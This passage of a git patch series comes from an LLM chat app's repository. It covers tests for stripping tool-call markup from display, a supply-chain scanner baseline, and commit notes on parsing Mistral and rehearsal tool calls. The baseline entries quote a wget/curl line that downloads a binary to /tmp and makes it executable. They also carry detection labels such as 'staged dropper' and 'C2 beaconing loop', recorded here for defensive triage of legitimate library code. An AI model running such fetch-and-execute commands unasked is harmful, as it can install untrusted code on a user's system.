 # ── Well-formed pairs ─────────────────────────────────────────────
 
@@ -66,7 +96,8 @@ def test_route_display_strip_respects_disabled_auto_heal_contract():
 
 
 def test_route_display_strip_removes_mistral_tool_calls_with_nested_json():
-    # [TOOL_CALLS] with nested JSON needs the Mistral balanced-brace strip, not the regex.
+    # _TOOL_XML_RE has no [TOOL_CALLS] arm, so the helper delegates to _strip_tool_xml for the Mistral
+    # balanced-brace strip (a non-greedy \{.*?\} would truncate nested JSON).
     text = 'ok [TOOL_CALLS]web_search{"filters":{"date":"2024"},"query":"cats"} tail'
     assert _strip_tool_xml_for_display(text, auto_heal_tool_calls = False) == text
     out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
@@ -102,7 +133,8 @@ def test_strips_function_only_well_formed():
 
 
 def test_strips_function_attribute_form():
-    # Attribute form <function name="..."> must strip from the route too; dotted/hyphenated names included.
+    # Attribute form ``<function name="...">`` (MiniCPM-5 / MiniMax-M2) must strip from the route too
+    # (it previously leaked into the UI); a dotted/hyphenated name also strips.
     text = (
         'Sure.\n<function name="get_weather">\n'
         "<parameter=city>\nSydney\n</parameter>\n</function>\nDone."
@@ -330,9 +362,84 @@ def test_no_catastrophic_backtracking_on_orphan_opening_spam():
     assert "<tool_call>" not in cleaned
 
 
+# ── DeepSeek opener variants + bare Kimi (parse/strip symmetry) ──
+
+
+def test_strips_deepseek_space_opener_variant():
+    # The space-separated opener is parsed by the parser, so the display strip
+    # must remove it too (the shared opener alternation is reused here).
+    text = (
+        "pre <｜tool calls begin｜><｜tool▁call▁begin｜>get_x<｜tool▁sep｜>"
+        '{"a":1}<｜tool▁call▁end｜><｜tool▁calls▁end｜> post'
+    )
+    cleaned = _TOOL_XML_RE.sub("", text)
+    assert "tool" not in cleaned.replace("post", "").replace("pre", "")
+    assert cleaned == "pre  post"
+
+
+def test_strips_deepseek_escaped_underscore_opener_variant():
+    text = (
+        "pre <｜tool\\_calls\\_begin｜><｜tool▁call▁begin｜>get_y<｜tool▁sep｜>"
+        '{"a":1}<｜tool▁call▁end｜><｜tool▁calls▁end｜> post'
+    )
+    cleaned = _TOOL_XML_RE.sub("", text)
+    assert cleaned == "pre  post"
+
+
+def test_strips_bare_kimi_call_without_section_wrapper():
+    # Kimi can emit a bare <|tool_call_begin|>...<|tool_call_end|> with no
+    # section wrapper; the parser accepts it, so the strip must cover it.
+    text = (
+        "pre <|tool_call_begin|>functions.get_w:0<|tool_call_argument_begin|>"
+        '{"a":1}<|tool_call_end|> post'
+    )
+    cleaned = _TOOL_XML_RE.sub("", text)
+    assert "tool_call_begin" not in cleaned
+    assert cleaned == "pre  post"
+
+
+@pytest.mark.parametrize(
+    "text",
+    [
+        # Prose that merely names a Kimi/DeepSeek marker (no real call follows) must
+        # survive: the call-shaped lookahead fires only on a real call or a bare EOF
+        # fragment, so an answer discussing the protocol is never truncated.
+        "See <|tool_call_begin|> in the docs. More prose after it.",
+        "The <|tool_calls_section_begin|> marker opens a batch. Read on.",
+        "DeepSeek uses <｜tool▁calls▁begin｜> to start a call block, then continues.",
+    ],
+)
+def test_deepseek_kimi_false_alarm_prose_is_kept(text):
+    # Regression for the route arm truncating a prose answer that references a marker
+    # without a following call (parser _TOOL_ALL_PATS already had this lookahead).
+    assert _TOOL_XML_RE.sub("", text) == text
+
+
+def test_deepseek_kimi_real_calls_still_strip_after_false_alarm_fix():
+    # The lookahead must not weaken real-call stripping: closed, truncated, and bare
+    # EOF-fragment forms all still get removed.
+    closed = (
+        "answer <|tool_call_begin|>functions.get_w:0<|tool_call_argument_begin|>"
+        '{"a":1}<|tool_call_end|> tail'
+    )
+    assert _TOOL_XML_RE.sub("", closed) == "answer  tail"
+    eof_fragment = "prefix <|tool_call_begin|>"
+    assert _TOOL_XML_RE.sub("", eof_fragment) == "prefix "
+    deepseek = (
+        "reply <｜tool▁calls▁begin｜><｜tool▁call▁begin｜>get_x<｜tool▁sep｜>"
+        '{"a":1}<｜tool▁call▁end｜><｜tool▁calls▁end｜>'
+    )
+    assert _TOOL_XML_RE.sub("", deepseek) == "reply "
+
+
+# ── Llama-3 <|python_tag|> arm bounds on REAL sentinels only ──────
+
+
 # Llama-3 <|python_tag|> arm bounds on REAL sentinels only
 def test_python_tag_strip_consumes_literal_sentinel_in_arg():
-    # A literal <|...|> token inside the arg must not end the strip early.
+    # A <|python_tag|> tool call whose JSON argument carries a literal <|...|>
+    # token (here <|cite|>) must be stripped whole. The old `<(?!\|)` arm stopped
+    # at any `<|`, leaking the call tail (e.g. `<|cite|> here"}}`) into display.
     text = '<|python_tag|>{"name": "send", "parameters": {"text": "use <|cite|> here"}}'
     cleaned = _TOOL_XML_RE.sub("", text)
     assert cleaned == "", f"python_tag call leaked at literal sentinel: {cleaned!r}"
@@ -348,7 +455,8 @@ def test_python_tag_strip_consumes_literal_sentinel_in_arg():
     ],
 )
 def test_python_tag_strip_stops_at_real_sentinel(sentinel):
-    # A real control sentinel bounds the strip so following text survives.
+    # A genuine Llama control sentinel still bounds the strip so following
+    # assistant text is preserved (the arm must not swallow past it).
     text = f'<|python_tag|>{{"name": "x", "parameters": {{}}}}{sentinel}visible answer'
     cleaned = _TOOL_XML_RE.sub("", text)
     assert (
@@ -357,14 +465,37 @@ def test_python_tag_strip_stops_at_real_sentinel(sentinel):
 
 
 def test_python_tag_strip_restarts_on_second_python_tag():
-    # A second <|python_tag|> opens a new region; both are stripped.
+    # A second <|python_tag|> opens a new tool-call region, so the whole pair is
+    # stripped (the arm bounds the first, then the next match consumes the rest).
     text = '<|python_tag|>{"name": "a"}<|python_tag|>{"name": "b"}'
     cleaned = _TOOL_XML_RE.sub("", text)
     assert cleaned == "", f"second python_tag region leaked: {cleaned!r}"
 
 
+def test_glm_call_with_literal_close_tag_in_arg_value_is_stripped_whole():
+    # GLM 4.x emits <tool_call>NAME<arg_key>k</arg_key><arg_value>v</arg_value> ...</tool_call>.
+    text = (
+        "<tool_call>web_search\n<arg_key>query</arg_key>\n"
+        "<arg_value>find </tool_call> here</arg_value>\n</tool_call> done"
+    )
+    out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+    assert "</arg_value>" not in out
+    assert "<arg_key>" not in out
+    assert out.strip() == "done"
+
+
+def test_glm_normal_and_qwen_calls_still_stripped_by_route():
+    # Regression: a normal GLM call (no literal close tag) and a Qwen
+    # <tool_call>{json}</tool_call> are still stripped; trailing prose is kept.
+    glm = "<tool_call>get_time\n<arg_key>tz</arg_key>\n<arg_value>UTC</arg_value>\n</tool_call> ok"
+    assert _strip_tool_xml_for_display(glm, auto_heal_tool_calls = True).strip() == "ok"
+    qwen = '<tool_call>{"name":"web_search","arguments":{"q":"x"}}</tool_call> after'
+    assert _strip_tool_xml_for_display(qwen, auto_heal_tool_calls = True).strip() == "after"
+
+
 def test_route_strip_removes_param_alias_close_tag():
-    # Orphan </param> (attribute-form alias of </parameter>) must strip too.
+    # The parser accepts the <param name="...">...</param> attribute-form alias of
+    # <parameter=...>; the route tail cleanup must strip an orphan </param> close too.
     assert _strip_tool_xml_for_display("answer </param>", auto_heal_tool_calls = True) == "answer "
     assert (
         _strip_tool_xml_for_display("answer </parameter>", auto_heal_tool_calls = True) == "answer "
@@ -372,13 +503,44 @@ def test_route_strip_removes_param_alias_close_tag():
 
 
 def test_route_strip_uses_guarded_function_scan_for_literal_nested_markup():
-    # A literal <function=...></function> in a value must not truncate the strip.
+    # A literal <function=...></function> in a value must not truncate the strip: the route runs the
+    # parser's guarded function-XML scan before the regex, matching the core strip.
     text = "<function=python><parameter=code><function=evil></function></parameter></function> tail"
     assert _strip_tool_xml_for_display(text, auto_heal_tool_calls = True).strip() == "tail"
 
 
+def test_route_strip_gates_wrapperless_gemma_by_enabled_tools():
+    # The route strip must gate the markerless Gemma call:NAME{...} form on the enabled tool names,
+    # like the parser/loop, so a disabled/example name in prose is preserved in ...
+    prose = "To document syntax you write call:foo{query:example}. That shows the format."
+    assert "call:foo{query:example}" in _strip_tool_xml(prose, {"web_search"})
+    # An enabled name is still a real call and stripped.
+    assert "call:web_search" not in _strip_tool_xml(
+        "Answer. call:web_search{query:x}", {"web_search"}
+    )
+    # No gate (legacy) strips every closed call.
+    assert "call:foo" not in _strip_tool_xml(prose)
+
+
+def test_gemma_strip_gate_empty_tools_preserves_prose():
+    # With NO tools enabled the gate must return an EMPTY set (strip nothing), not None: None falls
+    # back to strip-all and deletes an answer that documents the call:NAME{...} syntax.
+    assert _gemma_strip_gate([]) == set()
+    assert _gemma_strip_gate(None) == set()
+    assert _gemma_strip_gate([{"function": {"name": "web_search"}}]) == {"web_search"}
+    prose = "To document syntax you write call:foo{query:example}. That shows the format."
+    assert "call:foo{query:example}" in _strip_tool_xml(prose, _gemma_strip_gate([]))
+    assert "call:foo{query:example}" in _strip_tool_xml(prose, _gemma_strip_gate(None))
+    # An enabled tool's real call is still stripped.
+    assert "call:web_search" not in _strip_tool_xml(
+        "Answer. call:web_search{query:x}",
+        _gemma_strip_gate([{"function": {"name": "web_search"}}]),
+    )
+
+
 def test_strip_keeps_prose_after_closed_function_call_with_literal_close():
-    # The call ends at its first non-data close; prose after (even a literal </function>) survives.
+    # The call ends at its first non-data close: prose after it survives the
+    # strip even when it mentions a literal </function>.
     from core.inference.tool_call_parser import strip_tool_markup
     text = (
         "<function=web_search><parameter=query>cats</parameter></function>"
@@ -388,7 +550,8 @@ def test_strip_keeps_prose_after_closed_function_call_with_literal_close():
 
 
 def test_final_strip_keeps_prose_mentioning_bare_markers():
-    # A false-alarm marker in prose must not drop trailing text; only call-start-shaped text drops.
+    # A false-alarm marker in a normal answer must not lose everything after
+    # it; only text that looks like that family's call start drops.
     from core.inference.tool_call_parser import strip_tool_markup
     for text in (
         "See [TOOL_CALLS] docs for details. More prose after.",
@@ -413,7 +576,8 @@ def test_final_strip_still_drops_truncated_marker_calls():
 
 
 def test_chained_bare_json_strip_consumes_all_calls():
-    # Next-turn history must not keep an executed call, else it replays.
+    # The loops keep this text as next-turn history: a leftover executed call
+    # would be replayed alongside the structured tool_calls.
     from core.inference.tool_call_parser import strip_leading_bare_json_call
 
     enabled = {"web_search", "python"}

From 233949cc9c04f80d7878f9973e0c9b4dd24c01bb Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 6 Jul 2026 18:34:18 -0700
Subject: [PATCH 218/306] scan_packages: baseline transitive-dep drift in the
 supply-chain scan (#6917)

The pip scan-packages gate (SCAN_ENFORCE=1) blocks on non-baselined
CRITICAL/HIGH findings. Recent upstream releases of transitive
dependencies added new files/loops that trip the pattern scanner, so all
three shards (extras, hf-stack, studio) red-failed on legitimate library
code. Add the 7 reviewed findings to scripts/scan_packages_baseline.json.

Each entry is genuine upstream code from the official PyPI archive:

- huggingface-hub huggingface_hub/_sandbox.py (staged dropper + C2 loop):
  the HF Jobs sandbox bootstrap string and its host-pool reservation
  loop. New in huggingface_hub 1.x (pulled via huggingface_hub>=0.34.0).
- huggingface-hub huggingface_hub/hf_api.py, utils/_http.py (C2 loop):
  standard polling / retry while True loops.
- fastapi fastapi/routing.py (C2 loop): websocket receive loop.
- fastmcp-slim fastmcp/cli/apps_dev.py (fs enum + network): the FastMCP
  dev CLI (PrefectHQ) making httpx/socket calls.
- cffi cffi/_cffi_gen_src.py (compile + exec): cffi generating and
  running C extension source, its core purpose.

Additive only: no existing baseline entry is changed or removed. Verified
by re-running the scanner over the full closure on Python 3.12.13 (the CI
interpreter); it now exits 0 with only MEDIUM findings remaining.
---
 scripts/scan_packages_baseline.json | 56 +++++++++++++++++++++++++++++
 1 file changed, 56 insertions(+)

diff --git a/scripts/scan_packages_baseline.json b/scripts/scan_packages_baseline.json
index 046566d148..d42225e205 100644
--- a/scripts/scan_packages_baseline.json
+++ b/scripts/scan_packages_baseline.json
@@ -1489,6 +1489,62 @@
       "severity": "HIGH",
       "evidence": "sha256: 53c38430766be25dc672a30846ac3b9eba86aee35eb0746785ec012647c7d9a2",
       "evidence_hash": "2c6384e8115a6d5dacf1f84d8f724832d8dc59feb442bb98ffae0857c0ccb381"
+    },
+    {
+      "package": "fastapi",
+      "file": "fastapi/routing.py",
+      "check": "C2 polling/beaconing loop detected",
+      "severity": "CRITICAL",
+      "evidence": "L586:                                 while True: sha256:251135b5ebfdd1248916449f32262575e003ef64382501c65b7e4061d67bda45",
+      "evidence_hash": "365aef4449c8089753d9398417cd76ab762cef547d75db70d87bca9c0b550ab5"
+    },
+    {
+      "package": "fastmcp-slim",
+      "file": "fastmcp/cli/apps_dev.py",
+      "check": "Enumerates filesystem AND makes network calls",
+      "severity": "CRITICAL",
+      "evidence": "FS: L637:     history.replaceState(null, \"\", url); sha256:17068ba5bfed62c3a3007ec8bf3e0ea41ef6529b9e6112064d9afb3be9231436\nNetwork: L1304:     with httpx.Client(timeout=30.0) as client: | L1318:     with httpx.Client(timeout=30.0) as client: | L1348:     with httpx.Client(timeout=30.0) as client: | L1549:         client = httpx.AsyncClient(\nL1550:             timeout=httpx.Timeout(60.0, read=None), trust_env=False\nL1551:         ) | L1713:     async with httpx.AsyncClient(trust_env=False) as client: | L1781:                     with socket.socket(family, socket.SOCK_STREAM) as s:",
+      "evidence_hash": "e5325edfada6499540e6f0c24a0868979d275522e2b6a180aa9b5dd3280681b4"
+    },
+    {
+      "package": "huggingface-hub",
+      "file": "huggingface_hub/_sandbox.py",
+      "check": "C2 polling/beaconing loop detected",
+      "severity": "CRITICAL",
+      "evidence": "L1179:             while True: sha256:33ceddf9e42aae207e891e97808c518e92a0b27ab60e4326256717bfb25a3a38",
+      "evidence_hash": "802fd41d8bb17bf425e99d128c0351c820103a5efb74690a4086e542a71437b8"
+    },
+    {
+      "package": "huggingface-hub",
+      "file": "huggingface_hub/_sandbox.py",
+      "check": "Writes to /tmp and executes (staged dropper)",
+      "severity": "CRITICAL",
+      "evidence": "L83: d=/tmp/.sbx-server\nL84: if command -v wget >/dev/null 2>&1; then wget -q --header \"Authorization: Bearer $SBX_DL_TOKEN\" -O \"$d\" \"$SBX_SERVER_URL\"\nL85: elif command -v curl >/dev/null 2>&1; then curl -fsSL -H \"Authorization: Bearer $SBX_DL_TOKEN\" -o \"$d\" \"$SBX_SERVER_URL\"\nL86: else cp \"$SBX_SERVER_MOUNT/sbx-server\" \"$d\"; fi\nL87: chmod +x \"$d\"",
+      "evidence_hash": "6908a3fe328fa94ee22a119998d6ad07cfa1ba4efa2628acf240f4204fd76e22"
+    },
+    {
+      "package": "huggingface-hub",
+      "file": "huggingface_hub/hf_api.py",
+      "check": "C2 polling/beaconing loop detected",
+      "severity": "CRITICAL",
+      "evidence": "L4613:         while True: sha256:f764b6ca3118b23c7c0e670e77178c022a6905f825d7df6e528545fa10aae8f6",
+      "evidence_hash": "9c85d50c227285fa8dc69512999cbb082258cda4b299c7d0e0f69f5aff7accd4"
+    },
+    {
+      "package": "huggingface-hub",
+      "file": "huggingface_hub/utils/_http.py",
+      "check": "C2 polling/beaconing loop detected",
+      "severity": "CRITICAL",
+      "evidence": "L462:     while True: sha256:c75d1ee228cf7703a8c28551d649395a1f89f69a3aba69413f5bbcbd10c31958",
+      "evidence_hash": "d4d5f83fed39b87898cf776d5dad0bf1a6388a932f5fb7997d1070b50e46213e"
+    },
+    {
+      "package": "cffi",
+      "file": "cffi/_cffi_gen_src.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L52:     compiled = compile(source=pysrc, filename=filename, mode='exec')\nExec: L53:     exec(compiled, globs, globs)",
+      "evidence_hash": "c429e4c977a61db6b7c717b5a552fce74eda622213e49eb5467a3782fd746fb9"
     }
   ]
 }

From f109e7f0e6a1fdfde8bb38e73f7359cb777bcc50 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 6 Jul 2026 18:52:13 -0700
Subject: [PATCH 219/306] Studio: parse Mistral [TOOL_CALLS] and rehearsal
 tool-call shapes (#5704)

* Studio: parse Mistral [TOOL_CALLS] and rehearsal tool-call shapes

Extends the rescue parsers in core/tool_healing.py and
core/inference/tool_call_parser.py to recognise two extra serialisations
local models commonly emit when bypassing native function calling:

* [TOOL_CALLS]name{json_args} (Devstral-Small-2, Mistral-Small-3.x).
* name[ARGS]{json_args} (reasoning-model rehearsal).

Both extractors use a brace-balance scan that honours escapes and
quoted strings so nested JSON args stay intact.

Also pre-strips <think>...</think> and [THINK]...[/THINK] blocks before
matching so calls emitted after a reasoning preamble are recognised
regardless of position.

Streaming gates (TOOL_XML_SIGNALS, llama_cpp.py _TOOL_XML_SIGNALS) and
the SSE strip regex (routes/inference.py _TOOL_XML_RE) gain the new
sentinels so the parser is actually invoked and the raw markup never
leaks to the UI.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Strip unclosed think blocks and catch rehearsal [ARGS] mid-buffer

The pre-existing ``_THINK_TAG_RE`` only matched closed thinking
blocks (``<think>...</think>`` or ``[THINK]...[/THINK]``). During
streaming the model is still inside the open block when the parser
runs, so any tool-shaped markup the model is REHEARSING inside that
block survived the strip and could be executed as a real call.
Switch both copies of the regex (parser + healing) to accept the
trailing block being terminated by end-of-string in addition to
the explicit closer.

The ``_TOOL_XML_SIGNALS`` list on the llama_cpp streaming buffer
included ``[ARGS]`` to catch rehearsal syntax, but the gate used a
``startswith`` check against the buffer head -- rehearsal is shaped
``name[ARGS]{json}``, so the buffer never STARTS with ``[ARGS]``
and the signal had no effect. Add a substring fallback for the
bracket-style signals so the BUFFERING window can still divert the
stream into DRAINING when rehearsal markup arrives mid-buffer.

Adds three regression tests covering rehearsal inside unclosed
``<think>`` / ``[THINK]`` blocks (must yield no calls) and the
positive case after a closed think block (still parsed).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: harden bracket-tag tool-call parsing and streaming strip

Address review findings on the Mistral [TOOL_CALLS] / rehearsal [ARGS] paths:

- Accept hyphenated tool names in the bracket parsers and strip patterns.
  _MISTRAL_BRACKET_RE and _REHEARSAL_RE used \w+, which dropped or truncated
  MCP function names containing dashes (mcp__srv__list-issues). Use [\w-]+ to
  match the XML and Gemma parsers.
- Strip a partial bracket marker streamed before its opening brace. The
  trailing-unclosed patterns required the {, so a [TOOL_CALLS]web_search or
  python[ARGS] split across deltas leaked the raw marker to the UI. Match the
  bare marker to end-of-text, mirroring how the bare open tags are stripped.
  Closed pairs are unchanged so in-progress markup stays buffered until parsed.
- Strip a truncated bracket tail in the route-level display regex. _TOOL_XML_RE
  required a balanced JSON object; a tool call truncated by EOS now strips up
  to \Z, like the orphan-opening XML shapes. Complete calls still strip only
  their balanced JSON so following prose survives.

Add regression tests for hyphenated names, the streaming partial-marker strip,
and the unclosed-tail route strip.

* Studio: preserve XML parameter indentation in tool_healing

The chat template emits <parameter=k>\nVALUE\n</parameter>; the parameter-start
regex consumed the wrapping newline AND the value's first-line indentation via a
trailing \s*, then str.strip() removed the rest, corrupting code/diff arguments.
Narrow the trailing class to horizontal whitespace and trim exactly one wrapping
newline (_trim_param_value), preserving indentation. Matches SGLang's qwen3_coder
detector and the same fix on the multi-format parser. Add a regression test.

* Studio: tighten Mistral/rehearsal tool-call comments

Compress the comments in the Mistral [TOOL_CALLS] / rehearsal [ARGS] healing shim
and its callers to one or two lines, keeping the bracket-tag stripping rationale,
the thinking-block handling note, and the forge attribution intact.

Comment-only: no code or behavior change (verified with comment_tools.py check
--strip-docstrings; tests green).

* Studio: fix think-strip arg corruption and nested bracket-JSON strip

Review follow-up for the Mistral/rehearsal healing shim:

- The <think>/[THINK] strip ran unconditionally over the whole content before
  parsing, so a real tool argument that legitimately contained a <think> /
  [THINK] literal was silently corrupted. Don't delete the blocks: compute the
  reasoning-block spans and skip any tool-call candidate that STARTS inside one,
  across all parse paths (JSON, Gemma, XML, bracket, rehearsal). A rehearsed call
  inside reasoning is still ignored; a real call after </think> still parses.
- The bracket-tag display strip used a fixed one-level-nesting regex, so a call
  with two-level-nested JSON args either leaked raw markup or, in final mode, let
  the catch-all eat the trailing prose. Add a balanced-brace
  _strip_bracket_tag_calls pass (any nesting depth) used by strip_tool_call_markup
  and the route display strip.

Add regressions: <think>/[THINK] literal inside a real argument, rehearsal-inside-
think with a real call after, and two-level-nested bracket/rehearsal strip keeping
trailing prose.

* Studio: correct think-block comments to match span-skip behavior

The think-strip fix replaced the unconditional think-block strip with a
span-skip (the block is kept and any tool-call candidate starting inside it is
ignored), but two comments still described the old strip-first behavior. Update
the _THINK_TAG_RE comment and the parse_tool_calls_from_text docstring.

* Studio: parse Mistral arrays and call-ids, unify bracket parse/strip, keep it linear

- Parse the canonical Mistral array form (TOOL_CALLS followed by a JSON list of
  calls) and emit every call; parse the v11 shape that carries an opaque CALL_ID
  token between the name and ARGS (the function name is the token after
  TOOL_CALLS, never the call-id); and parse a Mistral call plus a rehearsal call
  in one message (the second was dropped yet still stripped from display).
- One shared balanced forward scan (_iter_bracket_spans) backs both the parser
  and the strip path, so they no longer diverge. It is linear: each regex is
  re-searched only once its cached match falls behind the cursor, replacing the
  per-match full-tail re-scan that was O(n^2) (O(n^3) over a stream). A length cap
  before the scan is a backstop.
- strip_tool_call_markup preserves think/reasoning blocks verbatim (the parser
  skips tool markup inside them), stripping only the visible text around them.
- _in_think uses bisect over the sorted think spans (was a linear scan per
  candidate).
- GGUF streaming strip runs the balanced bracket pre-pass before the regex
  patterns so nested-arg calls do not leak or eat trailing prose, and the
  BUFFERING ARGS detector requires the rehearsal name-ARGS shape.
- Tests: canonical array, array string-args, array strip keeps prose, Mistral
  plus rehearsal multi-call, v11 call-id name, think-rehearsal strip
  preservation, and bracket-strip linearity.

* Studio: preserve reasoning blocks in the route and streaming strip paths too

Addresses Gemini/Codex review: making strip_tool_call_markup preserve think
blocks left the route display strip and the GGUF streaming strip inconsistent,
so a rehearsed call inside a reasoning block was still deleted from the visible
text on those paths.

- Extract the think-block segmentation into one shared helper (strip_outside_think)
  and route all three strip paths through it: strip_tool_call_markup,
  _strip_tool_xml_for_display, and the GGUF _strip_tool_markup_streaming closure.
- Add a route-strip regression test that a rehearsal inside a reasoning block is
  preserved while a real call outside it is still stripped.

* Studio: fix bracket-tag strip/buffer review findings

Address the live code-review findings on the Mistral bracket-tag / rehearsal
tool-call rescue path:

- tool_healing: a literal think block inside a tool-call argument is no longer
  treated as a reasoning block. strip_outside_think now excludes think spans
  that sit inside a complete tool-call span, so the call is stripped whole
  instead of the split hiding its open/close pair and leaking the raw call.
- tool_healing: the rehearsal trailing-strip pattern requires a following brace
  or end-of-text, so prose that merely mentions name[ARGS] is not truncated as
  a phantom call. The bracket strip patterns are aligned with the parser
  regexes (whitespace, v11 [CALL_ID]/[ARGS] metadata, and the [CALL_ID]
  lookbehind).
- routes: strip a truncated canonical Mistral array ([TOOL_CALLS] [{... with no
  closing bracket) that the balanced scan cannot remove, align the display
  regex with the parser regexes, and apply the same rehearsal-prose guard.
- safetensors loop: mirror the GGUF [ARGS] rehearsal-substring check during
  BUFFERING so a rehearsal name does not stream before its [ARGS] arrives.

Adds regression tests for each; existing parser suite stays green.

* Studio: hold split rehearsal tool-name prefix in both streaming loops

A reasoning-model rehearsal call can stream the tool name and its [ARGS] arm in
separate chunks (web_search then [ARGS]{...}). The buffering detector only
recognised the rehearsal once [ARGS] was present, so the bare tool name was
emitted as visible content before the call drained and executed.

Add _is_rehearsal_prefix (mirrored in the safetensors loop and the GGUF loop):
when a no-signal buffer is a bare active-tool name -- or a partial prefix of
NAME[ARGS] -- hold it as a prefix instead of streaming it, so the next chunk's
[ARGS] flips it to a drain. A whitespace in the buffer means prose, not a split
call, so ordinary text still streams.

Adds regression tests for the split rehearsal in both loops and a guard that a
plain non-tool word still streams.

* Studio: route Anthropic tool-call cleanup through the protected display strip

The Anthropic stream, non-stream, and passthrough paths cleaned content with raw
_TOOL_XML_RE.sub instead of _strip_tool_xml_for_display, so a rehearsal call
inside <think> was deleted from the reasoning and a nested [TOOL_CALLS] call
dropped its trailing prose (the OpenAI-compatible paths already use the helper).
Route all four sites (prior-assistant cleanup, streaming content events,
non-stream aggregation, passthrough conversion) through the protected helper, and
add a source-level guard test so raw _TOOL_XML_RE.sub stays confined to the
helper itself.

* Studio: stop split rehearsal tool names leaking once streaming, uncapped, or unrestricted

The split-rehearsal guard (NAME in one chunk, [ARGS]{...} in the next) only held
the name in the initial BUFFERING state. Three gaps remained where the bare tool
name still streamed as visible content before the call drained:

- STREAMING: after prose had already streamed, both loops emitted a trailing
  active-tool-name token (and the GGUF/safetensors [ARGS] boundary was not pulled
  back over the name). Hold the trailing rehearsal token and release it on the
  next chunk, with an end-of-stream flush so a plain answer that merely ends on a
  tool-name word is never dropped.
- Buffer cap: a realistic MCP name longer than the 32-char _MAX_BUFFER_CHARS cap
  defeated the BUFFERING hold. A rehearsal prefix is self-bounding (it stops
  matching once it grows past NAME[ARGS]), so the generic cap no longer applies to
  it.
- Unrestricted mode (tools=[]): with no declared tool list, any bare identifier
  may be a NAME[ARGS] rehearsal, so the prefix check now recognises one instead of
  leaking the name and mis-parsing the call.

Regression tests cover the streaming, long-name, and unrestricted cases plus the
plain-prose paths that must not be held or corrupted.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio tools: protect think blocks in safetensors streaming, hold split rehearsal on initial flush, advertise Mistral tools

Pass-3 review follow-ups on the Mistral [TOOL_CALLS] / rehearsal [ARGS] work:

- Safetensors streaming display strip now preserves think / [THINK] reasoning
  verbatim (routes through strip_outside_think like the GGUF path). A call
  rehearsed inside a reasoning block was stripped mid-stream and then restored by
  the final strip, a non-monotonic shrink/grow that corrupted append-by-length
  stream consumers and the visible reasoning.
- The first flush out of BUFFERING (safetensors and GGUF) now applies the same
  trailing-name hold the STREAMING branch uses, so a split rehearsal (prose plus a
  trailing active tool name in one chunk, [ARGS]{...} in the next) no longer leaks
  the bare name before the call drains.
- Safetensors capability gate no longer suppresses tools for Mistral [TOOL_CALLS]
  templates, which the shared bracket-tag parser now handles end to end. Llama
  python_tag stays suppressed (still unparseable).
- Route display strip applies the open-ended / bare-marker tail arms only on the
  segment after the last reasoning block (closed-only regex before it), matching
  strip_tool_call_markup, so a bare foo[ARGS] before a reasoning block is preserved
  while complete calls are still removed in every segment.

Adds regression tests for each and updates the now-stale Mistral capability test.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix tool-call think-marker and bracket-wrapper edge cases

Round-1 review follow-ups on the Mistral/rehearsal tool-call healing:

- tool_healing: a reasoning marker that opens INSIDE a tool call's
  arguments is argument data, not a reasoning block. Add
  _think_spans_outside_tool_markup (start-inside test) and use it in
  both parse_tool_calls_from_text and strip_outside_think so a literal
  marker in one call's args no longer hides a later call (parse) or
  leaks the raw markup (strip) when the greedy match runs past the
  call's closer.
- tool_healing: strip the orphan Mistral v11 [/TOOL_CALLS] closer left
  behind after the balanced scan removes the call body. Add a route arm
  for the same closer in _TOOL_XML_RE / _TOOL_XML_CLOSED_RE.
- safetensors + llama_cpp streaming strip: run the open-ended (EOS
  anchored) tail patterns only on the last segment; segments before a
  reasoning block use the closed-only patterns, matching the final
  strip and the route strip. A bare foo[ARGS] before a reasoning block
  is prose, not a truncated call.
- safetensors streaming detector: validate each [ARGS] hit before
  draining. A bare foo[ARGS] in prose (no active tool name in front)
  no longer drains the rest of the turn; a later real NAME[ARGS] call
  is still found and the prose in between is preserved.

Regression tests added for each case across the parser, strip helpers,
and both streaming loops.

* Strip incomplete-XML tool markup with literal think tags; widen render-html detector

Round-2 review follow-ups.

- tool_healing: an UNCLOSED <tool_call> / <function= call that the parser still
  executes via allow_incomplete leaked its markup when an argument contained a
  literal think marker. _tool_call_markup_spans only covered closed calls, so the
  literal was treated as a reasoning block to preserve. Extend it to the
  open-ended XML tail forms (shared as _TOOL_OPEN_XML_TAIL_PATS) so a think marker
  inside an unclosed call is argument data and the call's markup is stripped. A
  complete call's opener stays bounded to its closed span, and a real reasoning
  block with no tool call is still preserved.
- safetensors render-html provisional card: _detect_render_html_tool_start was
  XML-only, so a Mistral [TOOL_CALLS]render_html or rehearsal render_html[ARGS]
  call executed but skipped the early card. Detect the earliest tool-call marker
  across every serialization the loop executes and fire when it is render_html.

Regression tests added for both.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio tools: gate [ARGS] on active tools and skip think-block render_html rehearsal

Round 3 review fixes for the Mistral / rehearsal tool-call parsing path. Both are
asymmetric-fix bugs where one code path applied a guard the analogous paths did not.

- [ARGS] active-tool gating: the streaming state already validates a rehearsal
  NAME[ARGS] against the active tool list before draining, but the BUFFERING
  detection and the end-of-stream safety-net checks (safetensors and GGUF) treated
  any word[ARGS] substring as a tool boundary. An answer containing a literal
  foo[ARGS]{...} in prose, where foo is not an enabled tool, was drained, parsed into
  a disabled foo no-op, and forced an extra generation turn. Gate those checks on the
  active tool name too (unrestricted mode still accepts any name), so inactive-name
  prose is neither drained nor parsed. Adds a shared _has_genuine_tool_signal helper
  (safetensors) and _gguf_rehearsal_signal_pos / _gguf_has_genuine_tool_signal (GGUF).

- render_html provisional card vs think blocks: the parser skips tool candidates that
  start inside a <think>/[THINK] reasoning block, but the provisional render_html
  detector scanned raw content. A render_html rehearsed inside <think> followed by a
  real non-render_html call emitted a provisional render_html tool_start (reusing the
  later call's id) that the loop never executed. Drop candidates that start inside a
  think span and use the first marker of each shape outside the blocks. Also resolve
  the [TOOL_CALLS] [{...}] array shape through the parser so a nested "name" argument
